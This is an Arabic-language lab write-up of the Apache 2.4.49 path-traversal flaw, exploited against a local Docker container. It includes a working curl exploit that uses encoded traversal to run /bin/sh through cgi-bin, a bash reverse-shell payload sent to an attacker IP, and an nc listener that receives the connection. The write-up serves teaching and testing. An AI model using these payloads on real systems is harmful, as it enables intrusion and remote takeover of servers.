
تم اكتشاف خلل في تغيير أجري على تطبيع المسار (path normalization) في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لربط عناوين URL بملفات خارج الدلائل التي تم تكوينها بواسطة توجيهات شبيهة بـ Alias.
إذا لم تكن الملفات خارج هذه الدلائل محمية بواسطة الإعداد الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. إذا كانت سكربتات CGI ممكّنة أيضًا لهذه المسارات المستعارة، فقد يسمح ذلك بتنفيذ تعليمات برمجية عن بُعد.
تُعرف هذه الثغرة بأنها مستغلة في البرية.
تؤثر هذه الثغرة فقط على Apache 2.4.49 وليس على الإصدارات السابقة.
يهدف هجوم اجتياز المسار (المعروف أيضًا باسم اجتياز الدليل) إلى الوصول إلى الملفات والدلائل المخزنة خارج مجلد جذر الويب. من خلال التلاعب بالمتغيرات التي تشير إلى ملفات باستخدام تسلسلات “dot-dot-slash (../)” واختلافاتها أو باستخدام مسارات ملفات مطلقة، قد يكون من الممكن الوصول إلى ملفات ودلائل عشوائية مخزنة على نظام الملفات بما في ذلك الكود المصدري للتطبيق أو ملفات الإعدادات والملفات الحرجة للنظام. تجدر الإشارة إلى أن الوصول إلى الملفات محدود بضوابط الوصول التشغيلية للنظام (كما في حالة الملفات المقفلة أو قيد الاستخدام على نظام تشغيل Microsoft Windows).
يُعرف هذا الهجوم أيضًا باسم “dot-dot-slash” و“directory traversal” و“directory climbing” و“backtracking”.
$ docker-compose build
$ docker-compose up
تأكد من أنه يعمل
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
الضحية : localhost:1234
المهاجم : 192.168.1.12
وفقًا للتوثيق، هذه ثغرة تسمح لنا بتنفيذ التعليمات البرمجية عن بُعد (RCE).
يمكننا استغلالها عن طريق تنفيذ curl مع مجلد cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
لنرى ما إذا كان لدينا فعلاً حق الوصول إلى الأمر، مثل id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. الصدفة العكسية
سنختبر صدفة عكسية عن طريق إنشاء ملف bash على خادم الضحية.
لنأخذ كمثال الصدفة العكسية بلغة bash الموجودة في مستودع PayloadsAllTheThings.
إليك مثال :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
لننشئ الملف vuln.sh على جهاز الضحية في مجلد /tmp/ !
سيحتوي هذا الملف على الصدفة العكسية الخاصة بنا والتي يمكننا تشغيلها عن بُعد. ستتصل بجهازنا المحلي على المنفذ 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
يمكنك التحقق من محتويات الملف باستخدام الأمر cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. مستمع باستخدام ncat
لننشئ المستمع على الجهاز المحلي.
$ nc -lvnp 44
كل ما تبقى هو تنفيذ الملف البعيد.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
الاستجابة :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.